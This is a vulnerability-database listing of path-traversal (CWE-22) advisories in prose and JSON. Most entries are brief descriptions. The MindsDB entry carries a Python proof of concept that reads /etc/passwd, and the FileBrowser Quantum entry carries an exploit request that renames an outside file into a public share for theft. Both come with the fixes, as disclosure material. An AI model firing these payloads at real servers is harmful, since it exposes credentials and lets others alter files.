CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13273 vulnerabilities reference this CWE, most recent first.
GHSA-QQCW-3W9H-VJFF
Vulnerability from github – Published: 2022-06-25 00:01 – Updated: 2022-07-06 00:00MELAG FTP Server 2.2.0.4 allows an attacker to use the CWD command to break out of the FTP servers root directory and operate on the entire operating system, while the access restrictions of the user running the FTP server apply.
{
"affected": [],
"aliases": [
"CVE-2021-41636"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-24T12:15:00Z",
"severity": "MODERATE"
},
"details": "MELAG FTP Server 2.2.0.4 allows an attacker to use the CWD command to break out of the FTP servers root directory and operate on the entire operating system, while the access restrictions of the user running the FTP server apply.",
"id": "GHSA-qqcw-3w9h-vjff",
"modified": "2022-07-06T00:00:30Z",
"published": "2022-06-25T00:01:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41636"
},
{
"type": "WEB",
"url": "https://www.securesystems.de/blog/advisory-and-exploitation-the-melag-ftp-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQG9-G7XG-4WP2
Vulnerability from github – Published: 2025-12-12 09:30 – Updated: 2025-12-12 09:30The Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 2.13.3. This is due to the modula_list_folders AJAX endpoint that lacks proper path validation and base directory restrictions. While the endpoint verifies user capabilities (Author+ with upload_files and edit_posts permissions), it fails to validate that user-supplied directory paths reside within safe directories. This makes it possible for authenticated attackers, with Author-level access and above, to enumerate arbitrary directories on the server via the modula_list_folders endpoint.
{
"affected": [],
"aliases": [
"CVE-2025-13891"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-12T08:15:47Z",
"severity": "MODERATE"
},
"details": "The Image Gallery \u2013 Photo Grid \u0026 Video Gallery plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 2.13.3. This is due to the modula_list_folders AJAX endpoint that lacks proper path validation and base directory restrictions. While the endpoint verifies user capabilities (Author+ with upload_files and edit_posts permissions), it fails to validate that user-supplied directory paths reside within safe directories. This makes it possible for authenticated attackers, with Author-level access and above, to enumerate arbitrary directories on the server via the modula_list_folders endpoint.",
"id": "GHSA-qqg9-g7xg-4wp2",
"modified": "2025-12-12T09:30:20Z",
"published": "2025-12-12T09:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13891"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/modula-best-grid-gallery/tags/2.12.26/includes/admin/class-modula-gallery-upload.php#L160"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/modula-best-grid-gallery/tags/2.12.26/includes/admin/class-modula-gallery-upload.php#L230"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/modula-best-grid-gallery/tags/2.12.26/includes/admin/class-modula-gallery-upload.php#L411"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3414176%40modula-best-grid-gallery%2Ftrunk\u0026old=3407949%40modula-best-grid-gallery%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://research.cleantalk.org/cve-2025-13891"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/71e587ec-ceb6-48ca-9a1a-599d9d988b4d?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQGR-6JMG-CWGV
Vulnerability from github – Published: 2022-04-14 00:00 – Updated: 2022-04-24 00:00A CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal) vulnerability exists that could cause malicious script to be deployed in an unauthorized location and may result in code execution on the engineering workstation when a malicious project file is loaded in the engineering software. Affected Product: EcoStruxure Control Expert (V15.0 SP1 and prior, including former Unity Pro), EcoStruxure Process Expert (2020 and prior, including former HDCS), SCADAPack RemoteConnect for x70 (All versions)
{
"affected": [],
"aliases": [
"CVE-2021-22797"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-13T16:15:00Z",
"severity": "HIGH"
},
"details": "A CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal) vulnerability exists that could cause malicious script to be deployed in an unauthorized location and may result in code execution on the engineering workstation when a malicious project file is loaded in the engineering software. Affected Product: EcoStruxure Control Expert (V15.0 SP1 and prior, including former Unity Pro), EcoStruxure Process Expert (2020 and prior, including former HDCS), SCADAPack RemoteConnect for x70 (All versions)",
"id": "GHSA-qqgr-6jmg-cwgv",
"modified": "2022-04-24T00:00:38Z",
"published": "2022-04-14T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22797"
},
{
"type": "WEB",
"url": "https://www.se.com/ww/en/download/document/SEVD-2021-257-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QQHF-PM3J-96G7
Vulnerability from github – Published: 2026-01-12 16:10 – Updated: 2026-06-06 00:36Summary
BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data.
Details
The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":
data = request.json(line ~104) accepts attacker input without validation.file_path = os.path.join(temp_dir_path, data["file"])(line ~178) creates the path inside a temporary directory, but ifdata["file"]is absolute (e.g.,/home/secret.csv),os.path.joinignorestemp_dir_pathand targets the attacker-specified location.- The resulting path is handed to
ca.file_controller.save_file(...), which wrapsFileReader(path=source_path)(mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequentshutil.move(file_path, ...)call also relocates the victim file into MindsDB’s managed storage.
Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.
PoC
- Run MindsDB in Docker:
bash docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest - Execute the exploit from the host (save as poc.py and run with
python poc.py): ```python # poc.py import requests, json
base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no source_type -> hits vulnerable branch
r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10) print("PUT status:", r.status_code, r.text)
q = requests.post(
f"{base}/api/sql/query",
json={"query": "SELECT * FROM files.leak_rel"},
timeout=10,
)
print("SQL response:", json.dumps(q.json(), indent=2))
``
3. The SQL response returns the contents of/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.
4. Detailed report is available on BlueRock's blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal
Impact
- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "MindsDB"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "25.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68472"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23",
"CWE-36"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-12T16:10:55Z",
"nvd_published_at": "2026-01-12T17:15:52Z",
"severity": "HIGH"
},
"details": "### Summary\n\n[BlueRock](https://bluerock.io/) discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB\u2019s storage, exposing sensitive data. \n\n### Details\nThe PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and `source_type` is not `\"url\"`:\n\n- `data = request.json` (line ~104) accepts attacker input without validation.\n- `file_path = os.path.join(temp_dir_path, data[\"file\"])` (line ~178) creates the path inside a temporary directory, but if `data[\"file\"]` is absolute (e.g., `/home/secret.csv`), `os.path.join` ignores `temp_dir_path` and targets the attacker-specified location.\n- The resulting path is handed to `ca.file_controller.save_file(...)`, which wraps `FileReader(path=source_path)` (`mindsdb/interfaces/file/file_controller.py:66`), causing the application to read the contents of that arbitrary file. The subsequent `shutil.move(file_path, ...)` call also relocates the victim file into MindsDB\u2019s managed storage.\n\nOnly multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to `clear_filename` or equivalent checks.\n\n### PoC\n1. Run MindsDB in Docker:\n ```bash\n docker pull mindsdb/mindsdb:latest\n docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest\n ```\n2. Execute the exploit from the host (save as poc.py and run with `python poc.py`):\n ```python\n # poc.py\n import requests, json\n\n base = \"http://127.0.0.1:47334\"\n payload = {\"file\": \"../../../../../etc/passwd\"} # no source_type -\u003e hits vulnerable branch\n\n r = requests.put(f\"{base}/api/files/leak_rel\", json=payload, timeout=10)\n print(\"PUT status:\", r.status_code, r.text)\n\n q = requests.post(\n f\"{base}/api/sql/query\",\n json={\"query\": \"SELECT * FROM files.leak_rel\"},\n timeout=10,\n )\n print(\"SQL response:\", json.dumps(q.json(), indent=2))\n ```\n3. The SQL response returns the contents of `/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB\u2019s storage directory.\n4. Detailed report is available on BlueRock\u0027s blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal\n\n### Impact\n- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.",
"id": "GHSA-qqhf-pm3j-96g7",
"modified": "2026-06-06T00:36:38Z",
"published": "2026-01-12T16:10:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-qqhf-pm3j-96g7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68472"
},
{
"type": "PACKAGE",
"url": "https://github.com/mindsdb/mindsdb"
},
{
"type": "WEB",
"url": "https://github.com/mindsdb/mindsdb/releases/tag/v25.11.1"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mindsdb/PYSEC-2026-90.yaml"
},
{
"type": "WEB",
"url": "https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MindsDB has improper sanitation of filepath that leads to information disclosure and DOS"
}
GHSA-QQMH-278Q-X46G
Vulnerability from github – Published: 2022-05-17 04:41 – Updated: 2022-05-17 04:41Directory traversal vulnerability in dirmng/index.php in Caldera 9.20 allows remote attackers to access arbitrary directories via a crafted pathname.
{
"affected": [],
"aliases": [
"CVE-2014-2933"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-05-08T10:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in dirmng/index.php in Caldera 9.20 allows remote attackers to access arbitrary directories via a crafted pathname.",
"id": "GHSA-qqmh-278q-x46g",
"modified": "2022-05-17T04:41:00Z",
"published": "2022-05-17T04:41:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2933"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/693092"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QQMM-47MH-W3H6
Vulnerability from github – Published: 2022-05-14 02:39 – Updated: 2022-05-14 02:39Directory traversal vulnerability in mod.php in Arab Portal 2.1 on Windows allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, in conjunction with a show action.
{
"affected": [],
"aliases": [
"CVE-2008-5787"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-12-31T11:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in mod.php in Arab Portal 2.1 on Windows allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, in conjunction with a show action.",
"id": "GHSA-qqmm-47mh-w3h6",
"modified": "2022-05-14T02:39:18Z",
"published": "2022-05-14T02:39:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5787"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46404"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7019"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32590"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4851"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/498092/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32146"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QQMV-8748-799F
Vulnerability from github – Published: 2024-06-10 18:31 – Updated: 2024-06-10 18:31A Directory Traversal vulnerability in iceice666 ResourcePack Server before v1.0.8 allows a remote attacker to disclose files on the server, via setPath in ResourcePackFileServer.kt.
{
"affected": [],
"aliases": [
"CVE-2024-35474"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-10T16:15:14Z",
"severity": "MODERATE"
},
"details": "A Directory Traversal vulnerability in iceice666 ResourcePack Server before v1.0.8 allows a remote attacker to disclose files on the server, via setPath in ResourcePackFileServer.kt.",
"id": "GHSA-qqmv-8748-799f",
"modified": "2024-06-10T18:31:07Z",
"published": "2024-06-10T18:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35474"
},
{
"type": "WEB",
"url": "https://gist.github.com/apple502j/e99ca3a00e492bf1c942214b13213b46"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQQ2-R5H8-499J
Vulnerability from github – Published: 2022-05-14 03:22 – Updated: 2025-04-20 03:38Directory traversal vulnerability in Spiffy before 5.4.
{
"affected": [],
"aliases": [
"CVE-2015-8235"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-07T20:29:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in Spiffy before 5.4.",
"id": "GHSA-qqq2-r5h8-499j",
"modified": "2025-04-20T03:38:36Z",
"published": "2022-05-14T03:22:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8235"
},
{
"type": "WEB",
"url": "https://lists.gnu.org/archive/html/chicken-announce/2015-11/msg00000.html"
},
{
"type": "WEB",
"url": "http://code.call-cc.org/cgi-bin/gitweb.cgi?p=chicken-core.git%3Ba=commit%3Bh=edd4926bb4f4c97760a0e03b0d0e8210398fe967"
},
{
"type": "WEB",
"url": "http://code.call-cc.org/cgi-bin/gitweb.cgi?p=chicken-core.git;a=commit;h=edd4926bb4f4c97760a0e03b0d0e8210398fe967"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2015/11/18/25"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/77644"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQQM-5547-774X
Vulnerability from github – Published: 2026-05-22 17:26 – Updated: 2026-06-08 23:15Summary
publicPatchHandler in backend/http/public.go joins user-controlled fromPath and toPath body fields with the trusted d.share.Path BEFORE the downstream sanitizer runs. Because filepath.Join collapses .. segments during the join, the sanitizer in resourcePatchHandler never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated.
A public share link with AllowModify=true is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner's source root.
Verified on commit 869b640 (HEAD of main as of 2026-05-07).
Details
In backend/http/public.go the public PATCH handler accepts a JSON body with items[].fromPath and items[].toPath from the client, then prepends the share path before delegating to resourcePatchHandler:
// backend/http/public.go (publicPatchHandler)
for i := range req.Items {
req.Items[i].FromSource = sourceName
req.Items[i].FromPath = utils.JoinPathAsUnix(d.share.Path, req.Items[i].FromPath) // line 372
req.Items[i].ToSource = sourceName
req.Items[i].ToPath = utils.JoinPathAsUnix(d.share.Path, req.Items[i].ToPath) // line 374
}
d.Data = req
status, err := resourcePatchHandler(w, r, d)
utils.JoinPathAsUnix is a thin wrapper around filepath.Join, which
calls filepath.Clean and resolves .. segments. By the time the
joined path reaches resourcePatchHandler, every .. from the body
has been collapsed:
// backend/http/resource.go (resourcePatchHandler)
cleanFromPath, err := utils.SanitizeUserPath(item.FromPath) // line 794
// ...
cleanToPath, err := utils.SanitizeUserPath(item.ToPath) // line 800
SanitizeUserPath (in backend/common/utils/file.go) checks for .. segments after filepath.Clean. Since the join already cleaned the path, no .. segment remains, the sanitizer returns success, and the move/copy/rename proceeds on the escaped target.
The share owner's user is substituted as the acting user for permission checks (d.user = shareCreatedByUser), so the access-control layer treats the request as if the share owner performed it. In a default configuration with no explicit access rules and DenyByDefault=false, Access.Permitted returns true for any path within the source, and the only remaining boundary is the source root itself (idx.Path in Index.GetRealPath).
The fix that landed for CVE-2026-44542 / GHSA-fwj3-42wh-8673 moved the sanitizer before the join in resourceBulkDeleteHandler (backend/http/resource.go:274) and in withHashFileHelper (backend/http/middleware.go:57). The PATCH variant in public.go follows the opposite order (join first, sanitize later) and was not updated.
For comparison, the same file's publicPutHandler uses the safe order:
// backend/http/public.go (publicPutHandler) -- safe order
cleanPath, err := utils.SanitizeUserPath(path) // sanitize FIRST
if err != nil { return http.StatusBadRequest, err }
resolvedPath := utils.JoinPathAsUnix(d.share.Path, cleanPath) // then join
PoC
The bug reproduces deterministically with the project's own helpers, without needing the full server. The Go program below uses verbatim copies of SanitizeUserPath (from backend/common/utils/file.go) and JoinPathAsUnix (from backend/common/utils/main.go) and replays the exact sequence executed for one item in publicPatchHandler followed by resourcePatchHandler.
package main
import (
"fmt"
"path/filepath"
"runtime"
"strings"
)
// Verbatim from backend/common/utils/file.go
func SanitizeUserPath(userPath string) (string, error) {
clean := filepath.Clean(userPath)
for _, segment := range strings.Split(clean, string(filepath.Separator)) {
if segment == ".." {
return "", fmt.Errorf("invalid path: path traversal detected")
}
}
if clean == "." {
return "", fmt.Errorf("invalid path: path must standard index path")
}
return clean, nil
}
// Verbatim from backend/common/utils/main.go
func JoinPathAsUnix(parts ...string) string {
p := filepath.Join(parts...)
if runtime.GOOS == "windows" {
p = strings.ReplaceAll(p, "\\", "/")
}
return p
}
func main() {
sharePath := "/users/alice/shared/" // d.share.Path (server-controlled)
attackerInput := "../../bob/secret.txt"
// publicPatchHandler line 372: join BEFORE sanitize
joined := JoinPathAsUnix(sharePath, attackerInput)
// resourcePatchHandler line 794: sanitize the already-joined path
sanitized, err := SanitizeUserPath(joined)
fmt.Printf("attacker input: %q\n", attackerInput)
fmt.Printf("after join: %q\n", joined)
fmt.Printf("sanitizer err: %v\n", err)
fmt.Printf("sanitized path: %q\n", sanitized)
}
Output:
attacker input: "../../bob/secret.txt"
after join: "/users/bob/secret.txt"
sanitizer err: <nil>
sanitized path: "/users/bob/secret.txt"
The path /users/bob/secret.txt is outside the share root /users/alice/shared/ and is the value passed to Index.GetRealPath which resolves to <source-root>/users/bob/secret.txt. The downstream move/copy/rename then targets that file. The same input is rejected by SanitizeUserPath if the order is reversed (sanitize-then-join), which is the order used by publicPutHandler and the post-fix bulk DELETE.
End-to-end exploit request shape:
PATCH /public/api/resources?hash=<share-hash> HTTP/1.1
Content-Type: application/json
{
"action": "rename",
"items": [
{
"fromSource": "default",
"fromPath": "../../bob/secret.txt",
"toSource": "default",
"toPath": "stolen.txt"
}
]
}
After the request, stolen.txt exists inside the shared directory and is downloadable through the same public share, exfiltrating the file that was outside the share's intended scope.
Impact
An unauthenticated attacker who possesses a public share link with AllowModify=true can move, copy, or rename any file inside the share owner's source root, escaping the share's intended directory. Two practical exploitation patterns:
-
Read arbitrary files in the source root: rename a file from outside the shared directory to a location inside it, then download it through the share. This breaks confidentiality of any file the share owner can read.
-
Tamper with arbitrary files in the source root: move an attacker-controlled file (uploaded into the share) over the top of a victim file. This breaks integrity of files the share owner can write to (configuration files, dotfiles, web roots if the source includes them).
Scope is bounded by the source root rather than the shared directory, which is the same boundary class as CVE-2026-44542 (GHSA-fwj3-42wh-8673, CVSS 9.1). The remediation pattern is the same: sanitize first, then join. The fix is a one-spot change in publicPatchHandler to call SanitizeUserPath on req.Items[i].FromPath and req.Items[i].ToPath before the two JoinPathAsUnix(d.share.Path, ...) calls.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gtsteffaniak/filebrowser/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260518193514-28e9b81e438e"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48777"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-22T17:26:25Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\n`publicPatchHandler` in `backend/http/public.go` joins user-controlled `fromPath` and `toPath` body fields with the trusted `d.share.Path` BEFORE the downstream sanitizer runs. Because `filepath.Join` collapses `..` segments during the join, the sanitizer in `resourcePatchHandler` never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated.\n\nA public share link with `AllowModify=true` is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner\u0027s source root.\n\nVerified on commit 869b640 (HEAD of `main` as of 2026-05-07).\n\n## Details\n\nIn `backend/http/public.go` the public PATCH handler accepts a JSON body with `items[].fromPath` and `items[].toPath` from the client, then prepends the share path before delegating to `resourcePatchHandler`:\n\n```go\n// backend/http/public.go (publicPatchHandler)\nfor i := range req.Items {\n req.Items[i].FromSource = sourceName\n req.Items[i].FromPath = utils.JoinPathAsUnix(d.share.Path, req.Items[i].FromPath) // line 372\n req.Items[i].ToSource = sourceName\n req.Items[i].ToPath = utils.JoinPathAsUnix(d.share.Path, req.Items[i].ToPath) // line 374\n}\nd.Data = req\nstatus, err := resourcePatchHandler(w, r, d)\n```\n\n`utils.JoinPathAsUnix` is a thin wrapper around `filepath.Join`, which\ncalls `filepath.Clean` and resolves `..` segments. By the time the\njoined path reaches `resourcePatchHandler`, every `..` from the body\nhas been collapsed:\n\n```go\n// backend/http/resource.go (resourcePatchHandler)\ncleanFromPath, err := utils.SanitizeUserPath(item.FromPath) // line 794\n// ...\ncleanToPath, err := utils.SanitizeUserPath(item.ToPath) // line 800\n```\n\n`SanitizeUserPath` (in `backend/common/utils/file.go`) checks for `..` segments after `filepath.Clean`. Since the join already cleaned the path, no `..` segment remains, the sanitizer returns success, and the move/copy/rename proceeds on the escaped target.\n\nThe share owner\u0027s user is substituted as the acting user for permission checks (`d.user = shareCreatedByUser`), so the access-control layer treats the request as if the share owner performed it. In a default configuration with no explicit access rules and `DenyByDefault=false`, `Access.Permitted` returns true for any path within the source, and the only remaining boundary is the source root itself (`idx.Path` in `Index.GetRealPath`).\n\nThe fix that landed for CVE-2026-44542 / GHSA-fwj3-42wh-8673 moved the sanitizer before the join in `resourceBulkDeleteHandler` (`backend/http/resource.go:274`) and in `withHashFileHelper` (`backend/http/middleware.go:57`). The PATCH variant in `public.go` follows the opposite order (join first, sanitize later) and was not updated.\n\nFor comparison, the same file\u0027s `publicPutHandler` uses the safe order:\n\n```go\n// backend/http/public.go (publicPutHandler) -- safe order\ncleanPath, err := utils.SanitizeUserPath(path) // sanitize FIRST\nif err != nil { return http.StatusBadRequest, err }\nresolvedPath := utils.JoinPathAsUnix(d.share.Path, cleanPath) // then join\n```\n\n## PoC\n\nThe bug reproduces deterministically with the project\u0027s own helpers, without needing the full server. The Go program below uses verbatim copies of `SanitizeUserPath` (from `backend/common/utils/file.go`) and `JoinPathAsUnix` (from `backend/common/utils/main.go`) and replays the exact sequence executed for one item in `publicPatchHandler` followed by `resourcePatchHandler`.\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"path/filepath\"\n \"runtime\"\n \"strings\"\n)\n\n// Verbatim from backend/common/utils/file.go\nfunc SanitizeUserPath(userPath string) (string, error) {\n clean := filepath.Clean(userPath)\n for _, segment := range strings.Split(clean, string(filepath.Separator)) {\n if segment == \"..\" {\n return \"\", fmt.Errorf(\"invalid path: path traversal detected\")\n }\n }\n if clean == \".\" {\n return \"\", fmt.Errorf(\"invalid path: path must standard index path\")\n }\n return clean, nil\n}\n\n// Verbatim from backend/common/utils/main.go\nfunc JoinPathAsUnix(parts ...string) string {\n p := filepath.Join(parts...)\n if runtime.GOOS == \"windows\" {\n p = strings.ReplaceAll(p, \"\\\\\", \"/\")\n }\n return p\n}\n\nfunc main() {\n sharePath := \"/users/alice/shared/\" // d.share.Path (server-controlled)\n attackerInput := \"../../bob/secret.txt\"\n\n // publicPatchHandler line 372: join BEFORE sanitize\n joined := JoinPathAsUnix(sharePath, attackerInput)\n\n // resourcePatchHandler line 794: sanitize the already-joined path\n sanitized, err := SanitizeUserPath(joined)\n\n fmt.Printf(\"attacker input: %q\\n\", attackerInput)\n fmt.Printf(\"after join: %q\\n\", joined)\n fmt.Printf(\"sanitizer err: %v\\n\", err)\n fmt.Printf(\"sanitized path: %q\\n\", sanitized)\n}\n```\n\nOutput:\n\n```\nattacker input: \"../../bob/secret.txt\"\nafter join: \"/users/bob/secret.txt\"\nsanitizer err: \u003cnil\u003e\nsanitized path: \"/users/bob/secret.txt\"\n```\n\nThe path `/users/bob/secret.txt` is outside the share root `/users/alice/shared/` and is the value passed to `Index.GetRealPath` which resolves to `\u003csource-root\u003e/users/bob/secret.txt`. The downstream move/copy/rename then targets that file. The same input is rejected by `SanitizeUserPath` if the order is reversed (sanitize-then-join), which is the order used by `publicPutHandler` and the post-fix bulk DELETE.\n\nEnd-to-end exploit request shape:\n\n```\nPATCH /public/api/resources?hash=\u003cshare-hash\u003e HTTP/1.1\nContent-Type: application/json\n\n{\n \"action\": \"rename\",\n \"items\": [\n {\n \"fromSource\": \"default\",\n \"fromPath\": \"../../bob/secret.txt\",\n \"toSource\": \"default\",\n \"toPath\": \"stolen.txt\"\n }\n ]\n}\n```\n\nAfter the request, `stolen.txt` exists inside the shared directory and is downloadable through the same public share, exfiltrating the file that was outside the share\u0027s intended scope.\n\n## Impact\n\nAn unauthenticated attacker who possesses a public share link with `AllowModify=true` can move, copy, or rename any file inside the share owner\u0027s source root, escaping the share\u0027s intended directory. Two practical exploitation patterns:\n\n1. Read arbitrary files in the source root: rename a file from outside the shared directory to a location inside it, then download it through the share. This breaks confidentiality of any file the share owner can read.\n\n2. Tamper with arbitrary files in the source root: move an attacker-controlled file (uploaded into the share) over the top of a victim file. This breaks integrity of files the share owner can write to (configuration files, dotfiles, web roots if the source includes them).\n\nScope is bounded by the source root rather than the shared directory, which is the same boundary class as CVE-2026-44542 (GHSA-fwj3-42wh-8673, CVSS 9.1). The remediation pattern is the same: sanitize first, then join. The fix is a one-spot change in `publicPatchHandler` to call `SanitizeUserPath` on `req.Items[i].FromPath` and `req.Items[i].ToPath` before the two `JoinPathAsUnix(d.share.Path, ...)` calls.",
"id": "GHSA-qqqm-5547-774x",
"modified": "2026-06-08T23:15:23Z",
"published": "2026-05-22T17:26:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-qqqm-5547-774x"
},
{
"type": "PACKAGE",
"url": "https://github.com/gtsteffaniak/filebrowser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FileBrowser Quantum: Path traversal in public share PATCH allows file ops outside shared directory"
}
GHSA-QQR4-448H-MFPG
Vulnerability from github – Published: 2022-05-02 03:54 – Updated: 2022-05-02 03:54Directory traversal vulnerability in Pforum.php in Rocomotion P forum before 1.28 allows remote attackers to read arbitrary files via directory traversal sequences in unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2009-4383"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
